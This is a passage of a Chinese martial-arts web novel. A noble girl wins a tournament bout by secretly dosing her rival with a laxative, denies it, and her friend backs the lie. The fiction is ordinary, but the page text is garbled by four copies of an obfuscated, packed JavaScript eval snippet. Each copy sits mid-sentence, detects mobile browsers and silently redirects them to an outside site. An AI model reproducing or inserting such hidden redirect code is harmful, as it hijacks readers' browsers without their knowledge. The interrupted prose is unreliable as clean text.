“每场比试就一炷香，这么短的时间，你能找到应敌之法吗？” “张娘子，从小到大你我看过这么多场比武，我何时看走过眼？”褚笑眉笑盈盈地望向她，“一炷香时间，够我把他们功法的老底摸透了。” 张菁用手臂碰了碰她：“我看你在武学上很有天赋……真的不打算同我一起习武？” “别，打住！我是来帮你的，你别恩将仇报啊。”褚笑眉道，“习武又苦又累，我可不遭这罪。以我的家世，往后嫁个如意郎君，清闲自在地过一辈子，难道不好？” 逍遥宗选定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234523|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了十个场地作为擂台，同时进行比武。 褚笑眉要去看的那场，擂台是飞来池上的水榭。侠士们在比试时，可以用轻功于水面掠过，但若是落入水中，则直接淘汰。 她看到那名混元宗内门弟子击落两人时，便不再继续看了，急忙去找张菁。 张菁的擂台是一座九层高塔，花球位于塔尖宝顶上。褚笑眉赶到时，第六场比试的香即将燃尽，马上就到张菁了。 时间紧迫，褚笑眉连忙询问：“此处擂台的规则是什么？” “只能在塔上，落地就淘汰。”张菁比她更急，“快快快，你想到办法了吗？” “混元宗是用掌的，掌法极其刚猛霸烈。你身法好，能躲就躲，尽量不要硬接。你的长枪很适合抢夺花球，但是因要双手握持，抢到后反而腾不出手拿球，所以……” 忽听得逍遥宗弟子朗声宣告：“参与第七场比试的侠士们，可以入场了。” 褚笑眉附在她耳边，又叮嘱了几句什么。张菁听完，不由得一笑，神色明显放松了许多：“这招有点损了——不过我喜欢！” 十名侠士围着塔站定，随着一声锣响，十道身影纷纷向塔顶跃去。 张菁并未使出全力，最快飞上塔尖的，是那位混元宗外门弟子——窦鸣。他抱了花球在手，运起一掌攻向前来抢球的黄衫人。 其余八人皆围在窦鸣身边争抢，唯有张菁在旁静观。若有谁正好身形不稳了，她便使出长枪顺势将人击落。 待塔上只剩下她与窦鸣二人时，那炷香仅余最后十分之一了。 张菁终于发动了进攻，她枪出如龙，直指窦鸣咽喉。窦鸣抬掌来挡，她却一撩枪头，转而向他右肩刺去。 窦鸣急忙收了攻势，侧身往旁避让。他这么一让，便陷入了张菁攻，他防守的被动局面。 他死死护着怀中的花球，张菁的目标却始终不在那球上，只一味将他向后逼退。高塔之上，辗转腾挪的空间本就有限，他被逼至屋檐边缘。 此时，只见张菁腾空跃起，一枪当头劈下。他抬手格挡，虽挡住了这一击，却也身形一晃，向下坠去。 花球仍在他手中，张菁也追着他，从塔上一跃而下。 若他们二人皆落地，那么这一场比试，则没有任何赢家。 张菁长枪疾出，指向窦鸣怀中的花球。窦鸣即便想躲，可空中无处借力，只能用手握住球身，向外稍微一避。张菁的枪尖灵活如蛇，轻而易举地追上他的动作，将花球挑走了。 二人已快要落地，只见张菁用双足夹住花球，翻身以头朝下，枪尖在地上一点。木质的枪身被压得弯如月弧，而后向上回弹，张菁借力纵跃而起，稳稳落在了塔檐上。 香刚好燃尽。 张菁拔得头筹，可直接进入下轮比试。 三日后，第一轮选拔结束，第二轮的布告贴了出来。 褚笑眉拍了拍张菁的肩头，轻轻叹了口气：“这一回，你就没那么幸运了。喏，你其中一个对手。” 张菁眯着眼，徐徐念出那人的身份：“无我门内门弟子，叶渡。” “叶少侠？”旁边的侠士递过来一个怜悯的眼神，“那岂止是不幸运，简直是……” 褚笑眉追问道：“这位叶少侠怎么了？” 侠士答道：“上一届的论剑，叶少侠是第一。” 8. 第 8 章 褚笑眉盯着眼前的晚饭，属实是没大有食欲。 张菁恶狠狠地从鸡腿上撕下一块肉来，咬牙切齿地道：“你说那个叶渡……他是不是有毛病？上回都拿了第一了，这次还来凑什么热闹！就不能把机会留给其他人吗！” 褚笑眉安抚道：“好啦好啦，你都骂了他一个时辰了，那位叶少侠不知打了多少喷嚏呢。” 张菁扔掉手中啃剩下的鸡骨头，抬眸望向好友：“真的没办法打败他？阿眉你一向最有主意了，能不能帮我想个办法？就像上一轮击败窦鸣一样……” “你和窦鸣的武功差距不大，才能凭借这种法子获胜。”褚笑眉道，“在绝对的实力面前，怎么取巧都没用。” 张菁愁眉苦脸：“那怎么办？” “认输，保存实力，准备第二轮的补录。” 每一轮的赢家，可直接晋级；而被淘汰的侠士们，会重新分组再比一场，胜者也能进入下一轮，即为补录。 张菁重重叹了口气：“也只能这样了……” 褚笑眉有轻微的洁癖，同一件衣服，绝不能连穿两日。 于是十指不沾阳春水的高门贵女，抱着自己换下来的衣裳，找到了翠微峰上的浣衣池。她学着其他人的模样，将衣物浸在水中，笨拙地用捣槌敲打。 “你不会洗衣？” 少女惊讶的询问从身后传来，褚笑眉回头看去，发现正是在汤池中大惊小怪、称其为“仙宫”的那个乡巴佬。 乡巴佬瞥了眼她木盆中清亮的水，提醒道：“你没有用皂荚，这样洗不干净的。” “皂荚是什么？” “你连皂荚都不知道？”乡巴佬看起来更震惊了，她的目光移向褚笑眉泡在水中的双手，那是一双她从未见过的、漂亮得惊人的手—— 那双手如葱根般白皙，似羊脂般细腻，居然没有任何一处疤痕与茧子。因被冷水浸得微微发红，愈发显出一种夺人心魄的艳色。纤长、柔美，就像是仕女图中的手。 乡巴佬盯着她的手看了半晌，而后吐出一句：“我帮你洗吧。” “太好了。”褚笑眉喜笑颜开，解脱般长长呼出一口气，从发间拔下一支金钗递给她。“这个赏你。这几日你都来为我浣衣，如何？” 那沉甸甸的钗子实实在在地压在手中，乡巴佬瞪大了眼：“这是……真金的？” “不然呢？” “我帮你忙不是为着这个……”乡巴佬红着脸低声嗫嚅，目光却始终停留在掌心奢美的金钗上，显然已有些动摇。挣扎许久，她还是咬了咬牙，将金钗递回去。“不行不行，太贵重了，我不能要。” “我赏出去的东西，就没有往回收的。”褚笑眉道，“衣服交给你了，洗好了送到谒云居丙字六号房。” 第二轮的比试是打擂台，五人为一组。 上场次序以抽签决定：一号位即为擂主，接受二号位的挑战；而后获胜的那人留在擂台上，迎战三号位……以此类推。 褚笑眉听完规则，不由得问道：“这也太不公平了吧？岂不是序号越靠前，需要战胜的对手就越多？” “你这个问题，从前也有人问过。”张菁笑道，“据说百余年前——得是前朝的时候了吧，有个侠士在这一轮中抽到了一号位，十分忿忿不平，大闹着不肯上擂台。 “结果同组的另一名侠士说：‘论剑不在意这么一星半点的公平。若没有碾压他人的实力，因为这么点些微的不公平被淘汰，则绝非是论剑要选拔的年轻俊杰，不如早些回家算了。’而后此人换走了那支一号签，不到一盏茶功夫，就接连击败了另外四人。” 褚笑眉惊叹道：“这么强？” “江湖传闻啦，指不定添油加醋了多少呢。”张菁道，“不过如今的论剑，确实有个不成文的规矩——若是实力强劲、声名在外的侠士，往往会主动放弃抽签，直接做一号位的擂主，以彰显其风度。” 那位曾夺得第一的叶少侠也是这般做的。 他提气跃至擂台上，青衫因风而动，身形轻得像是徐徐飘落的一片叶。目若朗星，神色从容自信，一看便知是天纵英才、胜券在握，却无蔑视傲气之态。墨发以丝绦高束，青绿的发绳垂至他肩头，更显少年意气风流。 只见他微微俯身，朝台下四人行了个抱拳礼： “无我门忘真先生座下首徒叶渡，请诸位赐教。” 他手中那柄剑乃是银白色的，出鞘时有清鸣声。剑身细而长，正合他轻剑的招式，出手时迅捷如电。剑光流转间，已战胜了三名对手。 而他不过呼吸微乱，抬手压下了腾跃时翻起的衣角。 张菁是第四个上场的。 如果眼刀能杀人，叶渡早被张菁千刀万剐了。少女眸中翻涌的怒气惊得他一怔，他执剑行礼，道：“姑娘先请。” 张菁一枪扎向他咽喉，他抬剑格挡，发力向上一扬。张菁借势往后飞出，落到了擂台之下。 张菁：“啊，我输了。” 叶渡：“……” 这一场的胜者自然是叶渡。张菁收了枪，转身去找好友。 褚笑眉：“你装都不装一下？” “我看见这人就厌烦，不想给他脸面。”张菁冷哼一声，“都是来论剑的，摆什么绝世高手的谱？” 褚笑眉又问：“他方才唤你‘姑娘’？” 张菁出言解释：“你从小在京中长大，接触的都是官宦人家，自然不曾知晓。这是前朝的称呼，江湖上还有许多人没改过口来。” 张菁又去拜了拜武圣，祈祷不要再遇见什么厉害人物。 今日的比试结束，布告栏上贴出了第二轮补录的分组： 「九号擂台第四场」 平远侯府张菁 冲天门弟子花小红 慈航寺外门弟子闻智 水云山庄外门弟子水澹澹 无忧谷外门弟子荣璋 “没有六大门派的弟子，”褚笑眉道，“不出意外的话，你应该能拿下。” 张菁乐得合不拢嘴：“我就知道拜武圣是有用的！感谢武圣保佑！” 褚笑眉眉梢一挑：“只谢武圣，不谢我？” 张菁佯作娇弱地靠在她肩上，捏着嗓子道：“褚娘子大恩大德，小女子无以为报，唯有以身相许……” 褚笑眉忙不迭推开她，啐道：“闭嘴吧！偏你会怄人。” 谒云居丙字六号房内，桌上的茶水已凉透了。张菁微微蹙着眉，面上隐有焦灼之色—— 褚笑眉说要去汤池沐浴，已走了一个半时辰，至今未归。按理说在逍遥宗内，不可能会出事，可夜色愈来愈深，那妮子又不会武功…… 张菁到底还是坐不住，准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234524|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备出门去寻。她刚摘下外衣，正打算披上，房门便被人推开了。她看着姗姗而来的褚笑眉，冷哼一声，将衣裳扔回了衣架上。 张菁：“你还知道回来？跟哪个野女人厮混去了？” 褚笑眉：“？” 褚笑眉回身挂上门闩，解释道：“祖宗，讲点道理，我是帮你打探情报去了。” 张菁坐回茶桌前，将茶壶搁在炉上煨热：“那你打听到什么了？” “你的对手们所使的武学。”褚笑眉在她对面落座，一一道来，“慈航寺的闻智，练外家功夫，一套金刚棍法刚猛霸烈，但灵活机变不足；水云山庄的水澹澹，使的是软云白浪鞭，她的武器最克制你，你要用巧劲对付；无忧谷的荣璋，用的是风行万里扇，应对这种短兵，别被他近身就行。” “还有一人呢？” “冲天门的花小红，此人的情形最麻烦。”褚笑眉叹了口气，“这个门派太名不见经传了，根本没人听说过。” 张菁道：“看布告时我便猜到了。甚至都不区分内门、外门弟子，算什么正经门派？估摸着就是个习武的师父，收了几个徒弟，师门拢共五六个人，随便起个名儿就敢自称宗派。” 褚笑眉道：“不过这个花小红，还真有些本事在身上。她上一场对战的是逍遥宗外门弟子，和对方有来有回地打了一炷香时间才落败。按我估计，她的实力应该略高于你。” “那怎么办？不清楚这人的武功路数，你也没法给我出谋划策……” 正说话间，忽听得屋外有人敲门：咚、咚、咚。 张菁扬声问道：“谁啊？” 门外传来少女的声音，听起来有些紧张局促：“那个……在浣衣池托我帮忙洗衣的姑娘，是住在这里吗？” 褚笑眉起身去开门，接过少女手中叠好的衣物。她指腹抚过衣料表面，又低下头嗅了嗅，蹙起了眉头：“这就算洗好了？怎么有点发皱？而且还没有香气。” 张菁道：“姑奶奶，衣服洗完晾干就是这样的。你平日在府里，婢女们会把你的衣裳熨一遍，再燃香熏一回。” “原来如此。”褚笑眉将今日换下的衣衫扔给少女，“喏，这个也拿去洗了。” 少女取出褚笑眉所赠的那枚发钗，递还给她：“姑娘，我回去仔细想了想，这金钗我还是不能收。我不过是帮姑娘洗几回衣服，姑娘即便要付报酬，给我十文钱就好，这个实在是太贵重了……” 褚笑眉不耐烦道：“为着个破钗子，你有完没完？我身上没有铜板，况且这发钗都被你碰过了，我可不要。” 少女涨红了脸，窘迫地盯着自己的足尖：“我没弄脏你的钗子……” 张菁出面打圆场，向那少女劝道：“好啦好啦，你就收下吧。没什么好过意不去的，权当是我们交个朋友。” “真的吗？”少女抬起头，眼眸亮晶晶的。“你们愿意和我做朋友？我到了逍遥宗以后，发现大家都不太想同我说话，我还没有交到朋友呢……” 张菁敷衍道：“愿意，愿意。快把钗子收回去，你再推辞一句，褚娘子真要恼了。” “这位姑娘姓褚？”少女笑道，“既然都是朋友了，总该知道彼此的姓名。” 她将褚笑眉扔给她的衣服拢进怀里，勉强行了个抱拳礼： “我叫花小红，是冲天门弟子。” 9. 第 9 章 褚笑眉惊道：“你就是花小红？” “姑娘知道我？”花小红面露困惑，“不应该啊，我在江湖上也没什么名气。” “要我说啊，今日你我相逢，还真是天降的缘分。”张菁拊掌笑道，“花少侠可看过布告栏中的分组了？” 花小红虽然不解，却仍旧如实答道：“自然是看过了。” “我是与你同组的张菁，我阿爷是平远侯张永昌。”张菁道，“这一位是褚笑眉褚娘子，吏部尚书褚惟庸之女。” 花小红瞪大了眼，惊叹道：“二位姑娘好高的门楣，怪不得……” “怪不得什么？” “怪不得褚姑娘不会洗衣，手上一点茧子也没有，还能随手拔下金钗来送人。” 张菁哈哈一笑：“小红，我可以给你更多的钱——只要你肯帮我一个小忙。” 花小红道：“既然我们是朋友了，有什么事姑娘只管开口。” “明日的比试，我想要你放点水，让我赢。”张菁道，“价钱你随便开。” 花小红摇头：“不行。” 张菁似有些意外，略微怔了怔，而后又道：“想成名是好事，但这可是天才云集的论剑——以你的实力，还出不了头。不如应下我的条件，可保余生衣食无忧。” “钱对我来说没那么重要，我如今的日子虽清贫，却过得快活。”花小红道，“而且我是我们师门第一个有资格参与论剑的……” 张菁道：“你们冲天门没有推举弟子的名额，是吧？” “没有。我们就是个名不见经传的小门小派，加上师父总共才六个人呢。”花小红解释道，“我之所以能来，是因为家乡有几个地痞流氓欺男霸女，还自称‘泗安五虎’，我就去把虎打了……然后就收到逍遥宗的邀约了。” “我们平远侯府有名额，可以推举你们师门，让你的师兄弟、师姐妹们都来参加。”张菁又道，“只要你明日让我一局，两年后的那届论剑，五张试剑帖会递到你们冲天门。” 花小红咬紧了唇，犹豫半晌，还是道：“多谢姑娘的好意。但今年的论剑，是我凭自己实力挣来的，于我意义非凡，我不想放弃。” 张菁也不再继续劝了：“好吧，我尊重你的选择。不过……若明日比试前你后悔了，可随时来找我。” 花小红应下，自离开了。 褚笑眉静默着听完二人的对话，终于开口询问：“你们平远侯府要推举什么人来论剑，你真能做主？” “不能啊，我阿爷又不像褚世叔那么宠闺女，哪会听我的？”张菁笑得眉眼弯弯，“反正到时候空口无凭的，事情都过去两年了，她难不成还要跑到侯府来逼我兑现？” 褚笑眉：“……奸诈狡猾。” “多谢夸奖。”张菁得意地挑了挑眉。 茶已煨热了，张菁斟了一杯，伸手递给好友：“喏，喝点水。刚沐浴完回来，还说了这么多话，早就口渴了吧？青简和白虹不在，你也不会照顾自己，还得要我来做这些奴婢的差使。” 褚笑眉一抬下巴，神情娇纵：“也不想想我是为了谁才来逍遥宗的！给我为奴为婢，还不应当么？” “应当应当。”张菁附和，又取了外袍，抖开披到身上。 褚笑眉道：“这么晚了，你还要出门？” 张菁道：“那个花小红不肯答应我的条件，我总该想想别的法子。” 没等张菁回来，褚笑眉先睡下了。翌日她睁眼时，发现身侧的锦褥被人睡皱了些。张菁脸上泛着潮红的血色，正捧了布巾擦拭额上的汗，显然是刚练完枪。 “醒了？”张菁抬眼望向她，“一会儿需要你帮我个忙。” “什么忙？” “我昨夜去弄了点泻药，早膳的时候你帮我引开花小红的注意力，我下到她的餐食里。” “泻药？”褚笑眉道，“你从哪里搞来的？” “逍遥宗的医馆，我说我这几日便秘。” 聚贤斋是翠微峰上的公厨，专为远道而来的侠士们供给餐食。褚笑眉与张菁迈入其中，在一片铁梨木桌椅划出的条条框框中一边穿行一边寻找着。 武人练习时难免出汗，人多起来，味道也有些复杂难言，哪怕方阔的窗户一直大开着，也并不能有效去味。褚笑眉有些嫌弃地提袖掩了口鼻，她衣裳上的垂饰却勾歪了座中人的环首大刀，当啷一声砸在长椅上，在诸多浅淡白痕中并不显眼。 在济济人潮中搜寻许久，她们终于找到了花小红。 其他人都三五成群，再不济也是像张菁这样，好歹有一位好友相伴。唯有花小红孤零零地独占着一张小桌，困在谈笑风生的人群中，仿佛融不进周遭的异乡人。 两个食案搁到这张小桌上，花小红蓦地抬起头，看见来人后眼眸骤然亮了起来：“是你们！” 二人一左一右地坐在花小红身侧，张菁道：“都说了我们是朋友，花少侠来公厨用膳，怎么不叫上我们一道？” “我习惯了自己吃饭，一时没想到。”花小红低声嗫嚅，“抱歉……” “这有什么好道歉的。”张菁笑得爽朗，悄悄给褚笑眉使眼色。 褚笑眉会意，突然“哎呀”了一声。花小红转头向她看去，原是一块肉掉到了她裙摆上，溅开一滩油污，她正用手帕擦拭，反倒将那污渍越蹭越大。 “姑娘，你不能这么擦……”花小红抢过手帕来，先倒了些茶水在帕上，而后俯下身子帮忙处理。 张菁抓住时机，将泻药加进她的饮食中。 张菁与花小红的比试是第四场，在场外等待时，花小红已跑了好几趟茅房了，脸色也愈来愈苍白。 终于轮到她们这一组，花小红抽到了五号位，张菁是二号位。 张菁暗骂倒霉，二号位同一号位一样，需要战胜同组所有对手，才能赢下比试。 所幸褚笑眉已提前交代过每个人的弱点，虽费了一番力气，她还是顺利击败了三人——最后一战，就是要同花小红打了。 花小红的兵器是一把破破烂烂的剑，剑身已经有了好几处豁口了。剑穗反倒新得很，应该是为了来论剑而刚编的流苏，明亮的大红色晃来晃去，愈发显得长剑陈旧不堪。她朝张菁行过抱拳礼，率先出招。 缠斗了半盏茶工夫，花小红的眉头已紧紧蹙了起来，左手几次三番抚上小腹，似在极力忍耐着什么。她的攻势也越来越急，剑招快出残影。 张菁知道她在急什么，泻药的药劲又上来了，她想迅速结束战斗，去茅厕解决人生三急的其中一急。 此时不适合硬碰硬，张菁选择避其锋芒，专注于防守和躲避。花小红攻，她守；花小红进，她退。 张菁消极应战，有意将战线拉长—— 只要拖得够久，花小红肯定会认输的。 冷汗从花小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234525|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红的额头沁了出来，她面色惨白如纸，死死咬着牙，呼吸愈发急促。 可她始终没有认输。 她剑势如惊鸿，直直刺向张菁。 “噗——”一声极长的响屁从花小红身下传出。众目睽睽之下，屎黄的颜色在她裙上漫开，还有些混杂着不明物的粘液沿着她裤管流淌，滴落在擂台上，隐约的臭气四散蔓延。 花小红面上的痛苦略微一松，而后更沉重的难堪压了上来。在众人的嘘声中，她苍白的脸因羞窘而涨得通红，小鹿般纯真的眼眸中蓄满了泪。 趁着她窘迫万分、攻势停滞之时，张菁挑开了她的剑锋，枪尖堪堪停在她颈侧： “花小红，你输了。” 花小红错愕地望向她，怔忡片刻后，捂住脸哭着逃下了擂台。 张菁和褚笑眉的房门是被人踹开的，门闩从中折断了，歪歪斜斜地挂在门后。 双目红肿的花小红站在门外，怨愤地盯着她们：“为什么？” 张菁满不在乎地反问：“什么为什么？” “为什么要在我的饭菜里下泻药？”花小红拔高了声调，嗓音嘶哑刺耳。“我知道是你们干的！” 这边的动静惊动了楼里的人，有几扇门扉也开了，侠士们不自觉凑到一起，在廊上远远地看热闹。 张菁眯起了眼眸：“花少侠，输了就是输了。栽赃嫁祸他人，可不是侠客所为。” 花小红气笑了，眼眶红得吓人：“用下药这种卑鄙的法子取胜，敢做不敢当，你才是侮辱了侠士之名！” 张菁道：“花少侠口口声声说是我下药，可有证据？” 花小红咬牙切齿：“我去医馆问过了，你昨夜去开了泻药。” 张菁：“我这几日有些便秘罢了，这也算错处？” 花小红：“今日的早饭，是你们和我一桌吃的。” “不是，花少侠，你可明白何为证据？”张菁轻笑出声，“这不过是你主观臆测罢了。” 花小红：“你有泻药，有下药的时机和动机，这还算不得证据？” 张菁抱着手臂，悠悠质问：“你说我有泻药，那你可去医馆查过，多少人手中也有泻药？你说我有下药的时机，聚贤斋中人来人往，焉知其他人没有机会？至于你说我有动机，就更是可笑之极——” 她言语轻蔑：“我是平远侯之女，难道还需要靠论剑来扬名？这一场比试我是输是赢，有什么要紧？” 她上前一步，气势凌人地逼近了对方：“在我看来，这更像是某个乡巴佬在擂台上折了颜面，急不可耐地要找个冤大头把错处推出去。因我与你吃了一餐饭，便成了绝佳的替罪羊。只可惜你找错了人，我张菁不是什么好相与的。” “你！”花小红涨红了脸，“……倒打一耙！简直无耻！” 她胸脯一起一伏，显然是气愤得不行。她双眸几欲喷火，目眦欲裂地瞪向张菁。 而后，她的目光移到了褚笑眉身上： “褚姑娘，你是知道真相的。” 她话音有些哽咽，言语中带着诚挚的恳求，似将最后的希望寄托于对方： “浣衣池边，我与你搭话，是真心想帮你。我来逍遥宗以后，没有人愿意搭理我，我真的拿你当朋友。 “褚姑娘，若你对我有那么一丝情谊，抑或是还存有半点未泯灭的良心…… “就请你为我作个证吧。” 10. 第 10 章 四下骤然静默，张菁、花小红以及其他看热闹的侠士们，都在等待着褚笑眉的回答。 褚笑眉抿了抿唇，终于开口：“我不知道你在说什么……” “你再说一遍！”花小红的眼眸中震颤着泪光，“你敢不敢看着我的眼睛，捂着自己的良心，再说一遍你刚刚的话！” 褚笑眉徐徐抬眸望向她，轻声道：“花少侠，我不知道什么下药的事，也许是你今早吃坏了肚子。” “呵。”花小红鼻中嗤出一声轻笑，一滴泪从她眼角滑落，又被她迅速抬手抹去。“怪不得你们二人能玩到一处，原来是狐朋狗友、狼狈为奸！拿你们俩当朋友……我真是瞎了眼！” “好、好、好，你们不肯承认是吧？”她踉跄着后退，噙着泪光的红肿双眼死死盯着二人。“我会去向逍遥宗告发此事！揭穿你们的卑鄙行径！” “没做的事，如何承认？”张菁冷笑道，“花少侠请便，我问心无愧！”言罢，她拉住两边的门扉，向前一推重重阖上。 外间响过一阵窸窸窣窣的脚步声，应当是看热闹的侠士们散去了。 见褚笑眉仍在怔怔出神，张菁劝慰道：“没什么好担心的，她告到逍遥宗去又如何？我和她的身份云泥之别，旁人怎会信她的一面之词？” “这种下贱坯子，和她争辩都是在浪费唇舌。若不是有人围观，总要占个理字，我才懒得搭理她！”她冷哼一声，又道，“你且等着瞧吧，即便她磨破了嘴皮子，也没人会相信她的。” 张菁进入了论剑的第三轮，自此就是一对一的比武了。 褚笑眉在擂台下看她，耳边听得有人议论： “哎，你知道花小红吗？就是之前比武时拉在擂台上的那个。” “哈哈哈哈哈谁不知道她啊，如今可是大名人！要我说，叫什么花小红啊，应该更名叫‘屎太黄’！” “好名字，堪称绝妙啊！我听说这位‘屎女侠’还想栽赃嫁祸平远侯的闺女，说是人家给她下了泻药，你说说这！” “输了就输了，还输不起。换我都不好意思搁这儿多待，赶紧卷铺盖走人吧！” “她已经走了，走的时候还有不少人给她扔烂菜叶和臭鸡蛋呢！” “真是大快人心啊！不过这是什么时候的事？可惜我没赶上，我屋里还囤了好些没洗的臭袜子，就该都扔那妮子头上……” 张菁连胜四局，名次已稳进前一百了，再往后的比试，她就直接弃赛了。 “走吧，收拾东西回京。”张菁笑道，“逍遥宗的食宿太差，这些日子真是委屈我们褚娘子了。” 褚笑眉道：“其实也不急。我差不多都待习惯了，而且如今的比武已越来越精彩了，不如我们看完再走？” 张菁道：“你要是想的话，我当然乐意奉陪。” 褚笑眉道：“今年的赢家……大概还是那位叶少侠吧？” “那可不一定。”张菁莞尔一笑，“今年有望夺魁的，除叶渡外还有一人。” “我看过叶少侠的功夫，身法轻似鸿毛，剑势迅如雷电……居然有人能和他相比？那人是谁？” 张菁答道：“逍遥宗宗主座下唯一亲传弟子，云溶雪。” “唯一亲传弟子？”褚笑眉重复了一遍，略有些惊讶，“名头这么大的武林泰斗，居然只收了一个徒弟？” “据说这位宗主极其严苛，自逍遥宗建宗立派以来，仅有这么一位弟子能入他法眼。” “那得是多高的天赋啊……”褚笑眉感叹，“既然如此，上一届的论剑，这位云少侠为何不是第一？” “因为这位云少侠，今年刚满十六。” 论剑两年一举，仅有十五至二十四岁的少年侠客可以参加。两年前的那届论剑，云溶雪仅有十四岁，还没到能参赛的年纪。 张菁补充道：“云少侠不仅武功卓绝，还常帮助其恩师料理宗务，算是内定的下一任宗主了。而且她为人正直善良，对同门关怀备至，声望极高。” “难得从你嘴里听到这么多好词儿。”褚笑眉道，“你要这么说，我愈发期待看到他们二人的对决了。” 不知是否逍遥宗有意安排，叶渡与云溶雪直到最后一场才相遇。赢了的人，就是这届论剑的魁首；输的那位，只能居于第二。 其他侠士的名次俱已定了，不需要再操心自己的比试，所有人的目光都聚集到了这一场巅峰对决上。 由于观者众多，这一战用到了翠微峰上最大的一处擂台。该擂台由最为坚硬的铁梨木搭就，台下立着一块石碑，乃是太祖皇帝御笔亲题的字——“天外天”。碑上还有许多小字，至于写的是什么，褚笑眉就懒得凑近细看了。 叶渡还是那么一袭青衫；云溶雪身着浅蓝衣裙，广袖以丝带缚起。墨发以银簪半盘，流瀑般倾泻而下，愈发衬得她肌肤莹白、眉目清冷。忽而风动，拂过她轻纱的裙摆，素白里衬若隐若现。她仿若下凡的神女，冰清玉润、皎澄高洁，如轻云蔽月，似流风回雪。 二人在台上彼此报了师门，互相行过礼。 云溶雪道：“叶少侠上回已夺了魁首，我倒是没料到，竟还有机会与少侠切磋。” 叶渡道：“我正是为姑娘来的。” “哦？”云溶雪嗓音清泠，如珠玉坠地，“为我来的？” 叶渡道：“听闻姑娘乃宗门中佼佼者，一手斩楼兰剑法颇得宗主真传。在下特地来向姑娘讨教，若赢过了姑娘，方才算得上是同辈中的第一。” 云溶雪微微一笑：“原是如此。” 锣鼓敲响，二人手中长剑同时出鞘。 叶渡修习的剑法名为沉水诀，轻盈迅捷，一息间可出十余剑，剑势快到已见残影。但即便他的攻势如此之快，仍旧难以突破云溶雪的防守。 云溶雪所使的斩楼兰滴水不漏，剑招衔接间近乎没有丝毫破绽。这一剑法并不一味追求迅疾或刚猛，堪称集天下武学之大成，颇有圆融贯通、大道至简之意。 褚笑眉惊叹道：“这就是斩楼兰？好强的剑法！” 台上二人正打得难舍难分，张菁向好友问道：“你觉得他俩孰强孰弱，谁能赢下这一场？” “叶少侠功底更好，但云少侠的武学更强。若要论胜负……”褚笑眉略想了想，答道，“我觉得云少侠获胜的几率能有六成。” 二人足足打了半个时辰，云溶雪的剑锋骤然一顿，堪堪停在离叶渡眉心仅有半寸之处。 “是我输了。”叶渡呼吸已乱，话音忽高忽低。他额发被汗水浸湿，颇有些狼狈，面上却仍带着温朗笑意。“能与姑娘打这一场，可说是不虚此行了。” 云溶雪额间亦布满了晶莹汗珠，执剑行礼道：“承让。” 宝马香车辘辘地碾过青石砖的地面，驶回褚府。 褚父和褚笑臣要晚间才会回来，这个时辰只有褚母在家。她早已在府外翘首以盼地候着了，见自家女儿下了车，连忙上前一把搂进怀里：“你这孩子，说好离家七八日，一去就去了将近半月。” 褚笑眉讪笑道：“这不是论剑太精彩……索性就看完了再回来嘛。” “打打杀杀的，有什么好看？”褚母道，“你可不许去习武，那些舞刀弄枪的事儿太容易受伤了……” 褚笑眉抱着她晃来晃去，软语娇声道：“阿娘实在多虑——练武那么累，我哪能受得了？” “好了好了，偏你会撒娇。”褚母退开半步，拉着她的手左看右看，蹙眉叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234526|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了口气，“看着瘦了。你出门在外这些天，吃了不少苦吧？” “那可不是！”褚笑眉红唇微撅，“逍遥宗的吃食实在难以下咽，我就没吃饱过。” “你呀……料到你一回来就要嚷嚷着喊饿。”褚母点了点她的鼻尖，“现下不是用膳的时辰，若这会子用餐，晚膳你又该吃不下了。阿娘备了些你爱吃的茶点，先垫垫肚子，可好？” 褚笑眉喜笑颜开，溜须拍马道：“就知道阿娘待我最好啦！” 母女二人直接去了浮玉轩的厅堂中，婢女捧了铜盆上来，侍奉褚笑眉盥手。她洗好后，从白虹处接过软帕擦干，又将青简取来的香膏在手上抹开。 